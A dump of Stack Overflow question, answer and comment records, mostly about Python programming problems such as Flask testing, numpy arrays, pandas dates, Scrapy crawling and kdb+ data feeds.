has text: Looks like an X-Y problem. If you need to index by string, then you need a dictionary and not a list, but per you requirements it is not evident that you need any of them. That's the hard part in development:you must first specify what you need, write down (in text or modeling language) the general design, focus on the algorythms on parts that require it and only them start to code. I'm sorry, but your question looks unclear for me.
comment on: http://stackoverflow.com/q/47380859

http://stackoverflow.com/q/47241967
tagged with: flask-testing
has comment: http://stackoverflow.com/comment/81442097
has body: I have a route for only POST request and it returns json response if conditions are met. It's something like this: @app.route('/panel', methods=['POST']) def post_panel(): # Check for conditions and database operations return jsonify({"message": "Panel added to database!" "success": 1}) I am using flask-sslify to force http requests to https. I am testing this route with Flask test client and unittest. The test function is similar to following: class TestAPI2_0(unittest.TestCase): def setUp(self): self.app = create_app('testing') self.app_context = self.app.app_context() self.app_context.push() db.create_all() create_fake_data(db) self.client = self.app.test_client() def tearDown(self): .... def test_post_panel_with_good_data(self): # data r = self.client.post('/panel', data=json.dumps(data), follow_redirects=True) print(r.data) self.assertEqual(r.status_code, 200) Output is exactly below: test_post_panel_with_good_data (tests.test_api_2_0.TestAPI2_0) ... b' \n 405 Method Not Allowed \n Method Not Allowed \n The method is not allowed for the requested URL. \n' ====================================================================== FAIL: test_post_panel_with_good_data (tests.test_api_2_0.TestAPI2_0) ---------------------------------------------------------------------- Traceback (most recent call last): File "/home/tanjibpa/work/craftr-master/tests/test_api_2_0.py", line 110, in test_post_panel_with_good_data self.assertEqual(r.status_code, 200) AssertionError: 405 != 200 I am getting an error that Method is not allowed in that route. If I specify GET as a method (methods=['GET', 'POST']) for the route test seems to work. But why test client is making a GET request? Is there any way around rather than specifying a GET request for the route? Update: If do it like this: @app.route('/panel', methods=['GET', 'POST']) def post_panel(): if request.method == 'POST': # Check for conditions and database operations return jsonify({"message": "Panel added to database!" "success"…
has comment: http://stackoverflow.com/comment/81435534
answer count: 1
downvote count: 1
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81434691
has title: Flask test client using GET request instead of POST
accepted answer: http://stackoverflow.com/a/47356526
upvote count: 5
has answer: http://stackoverflow.com/a/47356526
tagged with: python
score: 4
tagged with: flask
has comment: http://stackoverflow.com/comment/81435012
type: AnsweredQuestion

http://stackoverflow.com/comment/81530869
type: AnswerComment
has text: I sustained myself quite hard not to post answer with `reduce(lambda x, y: x + y, map(lambda x: x * 1, a))`. Just for fun :D
comment on: http://stackoverflow.com/a/47289986
score: 0
type: Comment

http://stackoverflow.com/comment/81415747
type: AnswerComment
has text: @ylnor move it up :-)
comment on: http://stackoverflow.com/a/47230678
type: Comment
score: 0

http://stackoverflow.com/q/47336904
has title: Login redirect to main domain using django-subdomains
score: 2
tagged with: django-allauth
tagged with: django-subdomains
has body: My project is using django-subdomains and django-allauth to handle subdomains and auth system. It has a couple of subdomains: company1.project.com, company2.project.com Some of views are using @login_required decorator that redirects user to LOGIN_URL = '/login/' at settings.py Ex: user is at company1.project.com and calls view which redirects him to company1.project.com/login/ I need to redirect users to the project.com/login/ django-subdomains have tool reverse('login') which returns project.com/login/ if I do not pass subdomain argument, but I cannot use it in settings for LOGIN_URL because django apps are not loaded yet.
favorite count: 0
type: Question
answer count: 0
upvote count: 2
type: UnansweredQuestion
downvote count: 0
tagged with: django
tagged with: python

http://stackoverflow.com/a/47361015
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81675813
accepted answer of: http://stackoverflow.com/q/47360895
score: 7
has comment: http://stackoverflow.com/comment/81674975
type: Answer
has body: For a readonly version, broadcast_to can be used: In [370]: x = np.arange(9).reshape(3,3) In [371]: x Out[371]: array([[0, 1, 2], [3, 4, 5], [6, 7, 8]]) In [372]: x = np.broadcast_to(x[..., None],(3,3,10)) In [373]: x Out[373]: array([[[0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [1, 1, 1, 1, 1, 1, 1, 1, 1, 1], [2, 2, 2, 2, 2, 2, 2, 2, 2, 2]], [[3, 3, 3, 3, 3, 3, 3, 3, 3, 3], [4, 4, 4, 4, 4, 4, 4, 4, 4, 4], [5, 5, 5, 5, 5, 5, 5, 5, 5, 5]], [[6, 6, 6, 6, 6, 6, 6, 6, 6, 6], [7, 7, 7, 7, 7, 7, 7, 7, 7, 7], [8, 8, 8, 8, 8, 8, 8, 8, 8, 8]]]) Or with repeat: In [378]: x=np.repeat(x[...,None],10,2) In [379]: x Out[379]: array([[[0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [1, 1, 1, 1, 1, 1, 1, 1, 1, 1], [2, 2, 2, 2, 2, 2, 2, 2, 2, 2]], [[3, 3, 3, 3, 3, 3, 3, 3, 3, 3], [4, 4, 4, 4, 4, 4, 4, 4, 4, 4], [5, 5, 5, 5, 5, 5, 5, 5, 5, 5]], [[6, 6, 6, 6, 6, 6, 6, 6, 6, 6], [7, 7, 7, 7, 7, 7, 7, 7, 7, 7], [8, 8, 8, 8, 8, 8, 8, 8, 8, 8]]]) This is a larger array, whose elements can be changed individually.
has comment: http://stackoverflow.com/comment/81675055
has comment: http://stackoverflow.com/comment/81674955
answers question: http://stackoverflow.com/q/47360895
downvote count: 0
upvote count: 7
has comment: http://stackoverflow.com/comment/81676215

http://stackoverflow.com/q/47326106
downvote count: 0
upvote count: 1
favorite count: 0
type: Question
tagged with: python-3.x
type: UnansweredQuestion
tagged with: python
has body: I'm trying to build qpython (the kdb python interface) for python 3.6.3 (Anaconda) running on windows 7. After downloading and unpacking qPython-qPython-1.2.2.zip Executing "python setup.py build_ext --inplace" gives... running build_ext building 'qpython.fastutils' extension C:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\BIN\x86_amd64\cl.exe /c /nologo /Ox /W3 /GL /DNDEBUG /MD -IC:\Users\wilsoroh\AppData\Local\Continuum\Anaconda3\lib\site-packages\numpy\core\inclu de -IC:\Users\wilsoroh\AppData\Local\Continuum\Anaconda3\include -IC:\Users\wilsoroh\AppData\Local\Continuum\Anaconda3\include "-IC:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\INCLUDE" "-IC:\ Program Files (x86)\Microsoft Visual Studio 14.0\VC\ATLMFC\INCLUDE" "-IC:\Program Files (x86)\Windows Kits\10\include\10.0.10240.0\ucrt" "-IC:\Program Files (x86)\Windows Kits\NETFXSDK\4.6.1\include\u m" "-IC:\Program Files (x86)\Windows Kits\8.1\include\\shared" "-IC:\Program Files (x86)\Windows Kits\8.1\include\\um" "-IC:\Program Files (x86)\Windows Kits\8.1\include\\winrt" "-IC:\Program Files\Sy base\OCS-15_0\include\" /Tcqpython/fastutils.c /Fobuild\temp.win-amd64-3.6\Release\qpython/fastutils.obj cl : Command line error D8003 : missing source filename error: command 'C:\\Program Files (x86)\\Microsoft Visual Studio 14.0\\VC\\BIN\\x86_amd64\\cl.exe' failed with exit status 2 Which looks like setup is simply not setting the paths up correctly for the compiler. A look in the qpython directory below shows fastutils.c sitting there waiting to be compiled. This kind of thing seems to be a regular problem when trying to build python extensions on windows. Any help / suggestions greatly appreciated.
has title: Compilation of Python extension on windows fails with missing source filename error D8003
answer count: 0
score: 1

http://stackoverflow.com/a/47364927
score: 1
downvote count: 0
upvote count: 1
has body: The error states str object not callable which meant you were treating strings like functions or anything which is callable () in your code. The issue is in the print statements in displayOutput() function Corrected code def displayOutput(letterCount,middleCharacter,spaceAmount,aReplace): print('Number of letters:',letterCount) print('Middle letter:',middleCharacter) print('Spaces counted:',spaceAmount) print('Sentence with letter replaced:',aReplace) main()
answers question: http://stackoverflow.com/q/47364892
type: Answer

http://stackoverflow.com/a/47300065
score: 2
answers question: http://stackoverflow.com/q/47299945
has body: When you do i = i.split() i becomes a list. Your i variable is a line in your text file here. You can probably do, ... words = i.split() for w in words: if w in Happy: count += 1 ...
downvote count: 0
upvote count: 2
type: Answer

http://stackoverflow.com/a/47373743
has body: Share one of the scraped URL's but what I assume is the problem is that financial juice is not giving you the direct url but one with redirection. So basically this is a link on front page https://www.financialjuice.com/News/3772381/A-week-end-of-decision-for-Germany.aspx which loads rthen redirects to http://www.forexlive.com/news/!/a-week-end-of-decision-for-germany-20171118 Helps them keep track of which links were visited from outside the website (social media sharing etc) and prevent exactly what you have done. You will need to run a script to visit the link and then get the url after the last redirection. for example using urllib2. The geturl gives you the final url of the opened object. finalurl = urllib2.urlopen(intialurl, None, 1).geturl() If the redirecction is with a script then you need to use Selenium. See here for a good example. I modified the below code for you and it worked quite well from selenium import webdriver import time from selenium.webdriver.common.keys import Keys chromepath='/usr/bin/chromedriver' #//change this to your chromedriver path driver = webdriver.Chrome(chromepath) driver.get('https://www.financialjuice.com/News/3772381/A-week-end-of-decision-for-Germany.aspx') time.sleep(10) print(driver.current_url) driver.quit()
answers question: http://stackoverflow.com/q/47373471
score: 0
has comment: http://stackoverflow.com/comment/81725536
has comment: http://stackoverflow.com/comment/81700894
type: Answer
has comment: http://stackoverflow.com/comment/81700842
upvote count: 1
has comment: http://stackoverflow.com/comment/81700990
downvote count: 1
has comment: http://stackoverflow.com/comment/81701058

http://stackoverflow.com/comment/81612464
has text: If they both produce the output you desire, then they are both correct. As long as you understand what it is doing.
score: 1
comment on: http://stackoverflow.com/q/47330896
type: QuestionComment
type: Comment

http://stackoverflow.com/q/47380865
tagged with: matplotlib
has answer: http://stackoverflow.com/a/56218589
downvote count: 0
favorite count: 0
upvote count: 10
type: Question
has body: The mpld3 (matplotlib on d3) example for LinkedBrush http://mpld3.github.io/examples/linked_brush.html provides the following code example: import numpy as np import matplotlib import matplotlib.pyplot as plt from sklearn.datasets import load_iris import mpld3 from mpld3 import plugins, utils data = load_iris() X = data.data y = data.target # dither the data for clearer plotting X += 0.1 * np.random.random(X.shape) fig, ax = plt.subplots(4, 4, sharex="col", sharey="row", figsize=(8, 8)) fig.subplots_adjust(left=0.05, right=0.95, bottom=0.05, top=0.95, hspace=0.1, wspace=0.1) for i in range(4): for j in range(4): points = ax[3 - i, j].scatter(X[:, j], X[:, i], c=y, s=40, alpha=0.6) # remove tick labels for axi in ax.flat: for axis in [axi.xaxis, axi.yaxis]: axis.set_major_formatter(plt.NullFormatter()) # Here we connect the linked brush plugin plugins.connect(fig, plugins.LinkedBrush(points)) mpld3.show() While the public web page shows the matrix of linked outputs, when running it locally there is a json serialization error: Traceback (most recent call last): File "/git/scalatesting/src/main/python/mpld3_linkedbrush.py", line 34, in &lt;module&gt; mpld3.show() File "/usr/local/lib/python2.7/site-packages/mpld3/_display.py", line 358, in show html = fig_to_html(fig, **kwargs) File "/usr/local/lib/python2.7/site-packages/mpld3/_display.py", line 251, in fig_to_html figure_json=json.dumps(figure_json, cls=NumpyEncoder), File "/usr/local/Cellar/python/2.7.14/Frameworks/Python.framework/Versions/2.7/lib/python2.7/json/__init__.py", line 251, in dumps sort_keys=sort_keys, **kw).encode(obj) File "/usr/local/Cellar/python/2.7.14/Frameworks/Python.framework/Versions/2.7/lib/python2.7/json/encoder.py", line 207, in encode chunks = self.iterencode(o, _one_shot=True) File "/usr/local/Cellar/python/2.7.14/Frameworks/Python.framework/Versions/2.7/lib/python2.7/json/encoder.py", line 270, in iterencode return _iterencode(o, 0) File "/usr/local/lib/python2.7/site-packages/mpld3/_di…
answer count: 2
possible better answer: http://stackoverflow.com/a/56218589
accepted answer: http://stackoverflow.com/a/47382061
tagged with: mpld3
has answer: http://stackoverflow.com/a/47382061
score: 10
has comment: http://stackoverflow.com/comment/81715398
tagged with: python
has comment: http://stackoverflow.com/comment/81714758
linked to: http://stackoverflow.com/q/26646362
type: AnsweredQuestion
has title: Json serialization error using matplotlib mpld3 with LinkedBrush

http://stackoverflow.com/q/47267706
tagged with: python
favorite count: 0
has title: How to draw tic tac toe lines graphics.py (python 3)
type: Question
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/81486275
answer count: 0
type: UnansweredQuestion
has body: I have lines drawn with the coordinate system set up as win.setCoords(0.0, 0.0, 3.0, 3.0). The lines are drawn according to that system. But I need the coordinate system to be on a bigger system, like 1000 instead of 3 as the max. How do i draw the lines to the tic tac toe board with the system being win.setCoords(0.0, 0.0, 1000.0, 1000.0) ? Mind you the code below is not written by me, which is why I'm having the problem. from graphics import * import random def draw_board(winsize, win): win.setCoords(0.0, 0.0, 3.0, 3.0) win.setBackground('white') # Draw the vertical lines Line(Point(1,0), Point(1,3)).draw(win) Line(Point(2,0), Point(2,3)).draw(win) # Draw the horizontal lines Line(Point(0,1), Point(3,1)).draw(win) Line(Point(0,2), Point(3,2)).draw(win) if winsize &lt; 100: win.close() if winsize &gt; 1000: win.close() def player_turns(draw_board, win, winsize): c = 9 for i in range(c): if c%2==0: print("Player two take your turn") player1 = win.getMouse() play1x=player1.getX() play1y=player1.getY() #play1.draw(win) print(player1) if play1x &lt; (winsize/3) and play1y &lt; (winsize/3): circ = Circle(Point(0.4757929883138564, 2.5242070116861437), .25) circ.setOutline('red') circ.draw(win) elif play1x &lt; (winsize/3) and play1y &lt; ((winsize/3)*2): circ = Circle(Point(0.44488977955911824, 1.5330661322645291), .25) circ.setOutline('red') circ.draw(win) else: print('Player one take your turn') play2 = win.getMouse() play2x=play2.getX() play2y=play2.getY() #play2.draw(win) if play2x &lt; (winsize/3) and play2y &lt; (winsize/3): circ = Circle(Point(0.4757929883138564, 2.5242070116861437), .25) circ.setOutline('blue') circ.draw(win) elif play2x &lt; (winsize/3) and play2y &lt; ((winsize/3)*2): circ = Circle(Point(0.44488977955911824, 1.5330661322645291), .25) circ.setOutline('blue') circ.draw(win) print(play2) c=c-1 def main(): winsize = int(input("Input the size of the window: ")) win = GraphWin("Tic-Tac-Toe", winsize, winsize) draw_board(winsize, win) player_turns(dra…
downvote count: 0
upvote count: 1
tagged with: tic-tac-toe
has comment: http://stackoverflow.com/comment/81486069
tagged with: graphics
score: 1

http://stackoverflow.com/a/47282145
has comment: http://stackoverflow.com/comment/81514540
has comment: http://stackoverflow.com/comment/81514629
score: 0
answers question: http://stackoverflow.com/q/47281248
type: Answer
has body: It seems like in your models.py you need an indentation at name: class Category(models.Model): name = models.CharField(max_length=100)

http://stackoverflow.com/a/47269036
has comment: http://stackoverflow.com/comment/81517511
downvote count: 0
has comment: http://stackoverflow.com/comment/81491784
upvote count: 1
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81498751
has comment: http://stackoverflow.com/comment/81492043
has comment: http://stackoverflow.com/comment/81492603
answers question: http://stackoverflow.com/q/47268554
has body: First of all, I would wrap the initial script up in a function (myfunction in the code below) taking the tracking_id and the mcid as parameters and returning the value you wish to retrieve. import csv # Loading csv with open("mycsv.csv", 'r') as csv_file: reader = csv.reader(csv_file) # Reading row by row for row in reader: tracking_id = row[0] mcid = row[1] # Getting result result = myfunction(tracking_id, mcid) # Opening csv result file in append mode with open("mycsv_result.csv", "a+") as csv_save: writer = csv.writer(csv_save) writer.writerow([tracking_id, mcid, result]) csv_save.close() Then this script should do the trick. EDIT : Here is the function missing. I also suggest you to read this in order to learn how to create basic functions. def myfunction(tracking_id, mcid): import urllib as ul encodedtrackingid = ul.quote(tracking_id) URL = "https://example.com/id?abcd&amp;d_mid=" + mcid + "&amp;=124" + encodedtrackingid + "%011" print URL from mechanize import Browser br = Browser() br.set_handle_robots(False) response = br.open(URL) print response.read() import requests url = "https://example.net/rest/v1/mbox/4513452615415" querystring = {"client": "example"} payload = "{\r\n \"mbox\" : \"example\",\r\n\"CloudVisitorId\":\"" + mcid + "\",\r\n \"thirdPartyId\": \"" + tracking_id + "\",\r\n \"contentAsJson\": \"true\",\r\n \"mboxParameters\": \r\n { \r\n \"mboxMCGLH\": \"6\" \r\n }\r\n}\r\n" headers = { 'content-type': "application/json", 'cache-control': "no-cache", 'postman-token': "289879f645d-1543-e6df-87fb-1cef88f55110c5" } response = requests.request("POST", url, data=payload, headers=headers, params=querystring) return response
has comment: http://stackoverflow.com/comment/81489175
has comment: http://stackoverflow.com/comment/81493404
has comment: http://stackoverflow.com/comment/81490896
score: 1
accepted answer of: http://stackoverflow.com/q/47268554
type: Answer
has comment: http://stackoverflow.com/comment/81493695
has comment: http://stackoverflow.com/comment/81493595

http://stackoverflow.com/a/47401672
answers question: http://stackoverflow.com/q/47354958
downvote count: 0
has body: For a simple API like the Coinbase one, you can actually download the data directly in KDB quite simply, using .Q.hg for downloading and .j.k for parsing the JSON. For example, here is a sample "feedhandler": /q feed.q [host]:port[:user:pwd] \t 30000 h:hopen `$":",$[count .z.x;.z.x 0;":6000"]; //open handle to TP, use first arg or default to :6000 //define timer function to run every 30 seconds &amp; retrieve prices, send to TP .z.ts:{ a:{@[(.j.k .Q.hg`$":https://api.coinbase.com/v2/prices/BTC-USD/",x)`data;`typ;:;x]}'[("buy";"sell";"spot")]; t:select time:1#.z.N,sym:first `$(base,'currency), bid: "F"$first amount where typ like "sell", ask: "F"$first amount where typ like "buy" , spot:"F"$first amount where typ like "spot" from a; h(`.u.upd;`btc;get first t); } This script makes use of the KDB timer to run every 30 seconds (you can adjust the frequency in the first line - 30000 milliseconds currently) &amp; download buy, sell &amp; spot prices from Coinbase API, and send them to a tickerplant (where the port is specified as the first argument when loading the script, or defaults to port 6000). The resultant table looks like the following: :3002&gt;btc time sym bid ask spot ------------------------------------------------------------ 2017.11.20D21:32:48.697085000 BTCUSD 8164.23 8329.17 8246.5 2017.11.20D21:33:20.376192000 BTCUSD 8164.27 8331.69 8246.5 2017.11.20D21:33:50.709364000 BTCUSD 8164.27 8331.69 8247.27 2017.11.20D21:34:21.544488000 BTCUSD 8166.71 8331.69 8249 The schema for tick.q (default name sym.q) should look like this: btc:([]time:`timespan$(); sym:`g#`symbol$(); bid:`float$(); ask:`float$(); spot:`float$()) One thing to note is that as this API uses HTTPS you will need SSL certificates set up, which you do something like so (from code.kx.com): $ curl https://curl.haxx.se/ca/cacert.pem &gt; $HOME/certs/cabundle.pem $ export SSL_CA_CERT_FILE=$HOME/certs/cabundle.pem I have also made a version of this script that integrates with TorQ, the free KDB framew…
type: Answer
score: 4
upvote count: 4

http://stackoverflow.com/comment/81520621
type: Comment
comment on: http://stackoverflow.com/q/47280605
has text: ok. fair point. When I execute it from company network I get this: urllib.error.URLError: <urlopen error [WinError 10060] A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond> . When I excute the same from home - everything works fine, so the question is how to properly inform Python to autodetect local proxy settings.The page which I try to open is no blocked (I am sure about it).
score: 0
type: QuestionComment

http://stackoverflow.com/q/47381459
has answer: http://stackoverflow.com/a/47381755
has comment: http://stackoverflow.com/comment/81715396
tagged with: python
tagged with: data-science
has body: I have been using this dataset : https://www.kaggle.com/nsharan/h-1b-visa I have split the main dataframe into two: soc_null dataframe - where SOC_NAME column has NaN values soc_not_null - where SOC_NAME column has values other than NaN For filling NaN values in SOC_NAME column of soc_null dataframe, I came up with this code: for index1, row1 in soc_null.iterrows(): for index2, row2 in soc_not_null.iterrows(): if row1['JOB_TITLE'] == row2['JOB_TITLE']: soc_null.set_value(index1,'SOC_NAME',row2['SOC_NAME']) The problem with this code is that the length of soc_null is 17734 and the length of soc_not_null is 2984724, I ran this for a couple of hours but only a few hundred values were updated and hence it is not possible to execute this n^2 complexity code completely on a single machine. I believe there has to be a better way to do this and possibly over bigger datasets than mine, since there are several other parts following the cleaning process that will require two loops for processing.
type: AnsweredQuestion
tagged with: pandas
score: 0
answer count: 1
has title: Working with big dataset in pandas
type: Question
linked to: http://stackoverflow.com/q/29357379
tagged with: python-3.x
accepted answer: http://stackoverflow.com/a/47381755
tagged with: bigdata

http://stackoverflow.com/comment/81479967
type: Comment
comment on: http://stackoverflow.com/a/47263738
type: AnswerComment
score: 0
has text: Yes, but in the result list, the difference would be greater than 80 if you take `[50, 150, 250, ...]`. That's a bit unclear in the question, but clarified in comments.

http://stackoverflow.com/a/47336448
has body: Simply slice the two arrays: line2, = plt.plot(t[t&lt;0.8], x[t&lt;0.8], label='x(t)', linestyle='--')
has comment: http://stackoverflow.com/comment/81683440
answers question: http://stackoverflow.com/q/47336183
downvote count: 0
type: Answer
score: 2
upvote count: 2
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/47336183

http://stackoverflow.com/comment/81497202
comment on: http://stackoverflow.com/q/47253922
type: Comment
type: QuestionComment
score: 0
has text: @DavidDale I added right now all needed data and corrected typos. There is just error in out put related to my problem. Code is quiet correct.

http://stackoverflow.com/comment/81439133
type: AnswerComment
comment on: http://stackoverflow.com/a/47244196
has text: Thanks! That worked. But that instruction isn't in the README
type: Comment
score: 0

http://stackoverflow.com/q/47305631
has comment: http://stackoverflow.com/comment/81561917
has body: I'm working with a pandas dataframe and I have a DATE column that contains a julian date. I want to convert every value of that column to a gregorian date. To achieve that I used the following code: df'DATE' = df'DATE'.apply(lambda x: pd.to_datetime(x - pd.Timestamp(0).to_julian_date(), unit='D')) Unfortunately, I get an error that looks like this: OutOfBoundsDatetime: ("cannot convert input 381088.5 with the unit 'D'", u'occurred at index MXPLD_DATE') When I look for the input value that causing problem in the dataframe, it doesn't exist at all, I don't know where 381088.5 come from. Can you tell me what I'm doing wrong? Thank you. EDIT 1 I tried @jezrael solution but I still got a similar error. df['DATE'] = pd.to_datetime(df['DATE'], unit='D', origin='julian') Error: --------------------------------------------------------------------------- OutOfBoundsDatetime Traceback (most recent call last) &lt;ipython-input-18-4353e2be1ced&gt; in &lt;module&gt;() ----&gt; 1 df['DATE'] = pd.to_datetime(df['DATE'], unit='D', origin='julian') /opt/anaconda2/lib/python2.7/site-packages/pandas/core/tools/datetimes.pyc in to_datetime(arg, errors, dayfirst, yearfirst, utc, box, format, exact, unit, infer_datetime_format, origin) 469 raise tslib.OutOfBoundsDatetime( 470 "{original} is Out of Bounds for " --&gt; 471 "origin='julian'".format(original=original)) 472 473 elif origin not in ['unix', 'julian']: OutOfBoundsDatetime: 0 2457184 1 2457155 2 2457155 3 2457155 4 2457155 5 2457155 6 2457155 7 2457155 8 2457155 9 2457155 10 2457155 11 2457155 12 2457155 13 2457155 14 2457155 15 2457155 16 2457155 17 2457155 18 2457155 19 2457155 20 2457155 21 2457155 22 2457155 23 2457155 24 2457155 25 2457155 26 2457155 27 2457155 28 2457701 29 2457701 ... 4597928 2457724 4597929 2457724 4597930 2457724 4597931 2457724 4597932 2457724 4597933 2457724 4597934 2457724 4597935 2457724 4597936 2457724 4597937 2457724 4597938 2457724 4597939 2457724 4597940 2457724 4597941 2457724 4597942 245…
accepted answer: http://stackoverflow.com/a/47305916
tagged with: datetime
has answer: http://stackoverflow.com/a/47305916
tagged with: python
type: AnsweredQuestion
tagged with: pandas
has title: Julian to gregorian date with OutOfBoundsDatetime
score: 2
upvote count: 2
downvote count: 0
answer count: 1
favorite count: 0
type: Question

http://stackoverflow.com/q/47373854
type: UnansweredQuestion
score: -2
has title: replace downloaded youtube video content with a bold centered text
tagged with: python
tagged with: moviepy
upvote count: 0
downvote count: 2
answer count: 1
has body: I have zero experience with python, but it is clear enough (for most of the code). There is this code: from moviepy.editor import * video = VideoFileClip("myHolidays.mp4").subclip(50,60) # Make the text. Many more options are available. txt_clip = ( TextClip("My Holidays 2013",fontsize=70,color='white') .set_position('center') .set_duration(10) ) result = CompositeVideoClip([video, txt_clip]) # Overlay text on video result.write_videofile("myHolidays_edited.webm",fps=25) # Many options... What I want to do: replace my whole video with a text centered and bold (maybe with some little effects) and some solid color background How do I do that? A* if I delete the "subclip(50,60)" part, will that select the whole clip? B* And if I delete ".set_duration(10)", will the rest of the code work? C* how do I delete the whole (previous) video content? D* please suggest a simple pro effect (for text)
has answer: http://stackoverflow.com/a/47373935
favorite count: 0
type: Question

http://stackoverflow.com/q/47251319
downvote count: 0
accepted answer: http://stackoverflow.com/a/47251956
score: 1
upvote count: 1
tagged with: scrapy
has answer: http://stackoverflow.com/a/47251956
favorite count: 0
type: Question
has body: I'm trying to access a site and check if no links redirecting to a page within the site that are down. As there is no sitemap available, I'm using Scrapy to crawl the site and get all links on every page, but I can't get it to output a file with all the links found and their status code. The site I'm using to test the code is quotes.toscrape.com and my code is: from scrapy.spiders import Spider from mytest.items import MytestItem from scrapy.http import Request import re class MySpider(Spider): name = "sample" allowed_domains = ["quotes.toscrape.com"] start_urls = ["http://quotes.toscrape.com"] def parse(self, response): links = response.xpath('//a/@href').extract() \# We stored already crawled links in this list crawledLinks = [] for link in links: \# If it is a proper link and is not checked yet, yield it to the Spider if link not in crawledLinks: link = "http://quotes.toscrape.com" + link crawledLinks.append(link) yield Request(link, self.parse) I've tried adding the following lines after yield: item = MytestItem() item['url'] = link item['status'] = response.status yield item But it gets me a bunch of duplicates and no url with status 404 or 301. Does anyone know how I can get all the urls with the status?
has title: Can't get all http requests in Scrapy
tagged with: python
has answer: http://stackoverflow.com/a/47255368
type: AnsweredQuestion
answer count: 2
possible better answer: http://stackoverflow.com/a/47255368

http://stackoverflow.com/comment/81488072
has text: import csv start here.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47268554

http://stackoverflow.com/q/47227268
has comment: http://stackoverflow.com/comment/81485350
has title: pandas dataset OverflowError when trying to use datetime data
score: 0
answer count: 0
tagged with: pandas
tagged with: matplotlib
has comment: http://stackoverflow.com/comment/81410626
type: Question
has comment: http://stackoverflow.com/comment/81410218
linked to: http://stackoverflow.com/q/47212868
has comment: http://stackoverflow.com/comment/81410702
type: UnansweredQuestion
tagged with: python
has body: Continuation from: Getting date/time and data out of csv into matplotlib import datetime import numpy as np import matplotlib.pyplot as plt import matplotlib.dates as mdates import matplotlib.cbook as cbook import pandas import StringIO f = open(r'clean data.csv') #Make a string buffer and read in the CSV file while stripping \x00's output = StringIO.StringIO() for x in f.readlines(): output.write(x.replace('\x00','')) #Close out input file f.close() #Set position back to start for pandas to read output.seek(0) df = pandas.read_csv(output, skiprows=38, parse_dates=['Time'], index_col="Time") fig, ax = plt.subplots() ax.plot(df.index,df['108 &lt;Air&gt; (C)']) #ax.xaxis.set_major_locator(mdates.DayLocator()) #ax.format_xdata = mdates.DateFormatter('%Y-%m-%d') #fig.autofmt_xdate() plt.show() So I can actually plot this data with this current code, the problem occurs when I try to continue on with this example: https://matplotlib.org/gallery/api/date.html#sphx-glr-gallery-api-date-py If you uncomment out ax.xaxis.set_major_locator(mdates.DayLocator()) I get OverflowError: Python int too large to convert to C long Whats up with that? Here is some input data: https://pastebin.com/SSZyaSJ4

http://stackoverflow.com/comment/81425874
has text: I'm using Python.
type: Comment
comment on: http://stackoverflow.com/q/47237662
type: QuestionComment
score: 0

http://stackoverflow.com/q/47254763
type: UnansweredQuestion
has body: I am doing a project on fitting observed rotational velocities (which change based on distances) in a galaxy via a couple of models In my code, I am plotting some observed data vs a model. This model consists of a formula that can be manipulated via 2 fixing parameters: r0 and p0. Basically, I need to find the values of these two fixing parameters that will minimize the space between the observed graph and the model graph. My aim is to minimize Chi-Squared, which is ((v_obs - v_model)/error)^2, and then graph my model. I created an array of the integrals and v_model (in my code it's named "function") based off the distance (r, which is also an array). So via this code, I get an array of v_model at each distance. am is the amount of measurements (in this case, 21) from scipy.optimize import minimize as opt import numpy as np def integrand(r,p0,r0): return (p0 * r0**3)/((r+r0)*((r**2)+(r0**2)))*4*3.1415926535*r**2 integrals = [] for i in r: integrals.append(quad(integrand, 0 ,i,args=(p0,r0))) #function --&gt; v_model functions = [] for x in range (0,am): k = integrals[x][0] i = r[x] functions.append(np.sqrt((4.302*10**(-6)*k)/i)) Since the error changes for each data point, I made that an array as well. I'm a little bit lost on where to start, but I've created this so far for minimizing based off of examples online or on stackoverflow. I choose initial guesses for p0 and r0. def chisqfunc(p02,r02): model = np.sqrt((4.302*10**(-6)*((p02 * r02**3)/((r+r02)*((r**2)+(r02**2)))*4*3.1415926535*r**2))/r) chisq = numpy.sum(((v_obs-model)/errors)**2) return chisq x0 = np.array([p0,r0]) result = opt.minimize(chisqfunc,x0) print (result) assert result.success == True With executing this, I get the error : 'function' object has no attribute 'minimize' I have two main questions: How do I fix this error and how do you minimize when your data is in an array?
has comment: http://stackoverflow.com/comment/81460355
tagged with: minimization
tagged with: statistics
tagged with: chi-squared
score: 0
tagged with: matplotlib
tagged with: python
has comment: http://stackoverflow.com/comment/81460134
type: Question
has title: Using Chi-Squared to minimize error between model and observed
has comment: http://stackoverflow.com/comment/81460300
answer count: 0
has comment: http://stackoverflow.com/comment/81460406

http://stackoverflow.com/a/47312804
has comment: http://stackoverflow.com/comment/81576740
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/81576756
has body: Here is a small demo: Source DF: In [43]: df Out[43]: Energy HamoPkStd class1 class2 mix1_instrument 0 -2.961480 14.391206 aerophone aero_single-reed Saxophone 1 -3.522993 20.306125 chordophone aero_lip-vibrated Trumpet 2 -3.409359 9.727358 aerophone chrd_simple Piano Labels encoding: In [44]: %paste from sklearn.preprocessing import LabelBinarizer, LabelEncoder str_cols = df.columns[df.columns.str.contains('(?:class|instrument)')] clfs = {c:LabelEncoder() for c in str_cols} for col, clf in clfs.items(): df[col] = clfs[col].fit_transform(df[col]) ## -- End pasted text -- Result - all text/string columns have been converted to numbers, so we can feed it to Neural Networks: In [45]: df Out[45]: Energy HamoPkStd class1 class2 mix1_instrument 0 -2.961480 14.391206 0 1 1 1 -3.522993 20.306125 1 0 2 2 -3.409359 9.727358 0 2 0 Inverse transfomration: In [48]: clfs['class1'].inverse_transform(df['class1']) Out[48]: array(['aerophone', 'chordophone', 'aerophone'], dtype=object) In [49]: clfs['mix1_instrument'].inverse_transform(df['mix1_instrument']) Out[49]: array(['Saxophone', 'Trumpet', 'Piano'], dtype=object)
has comment: http://stackoverflow.com/comment/81576784
has comment: http://stackoverflow.com/comment/81576613
has comment: http://stackoverflow.com/comment/81577695
accepted answer of: http://stackoverflow.com/q/47312695
has comment: http://stackoverflow.com/comment/81576518
type: Answer
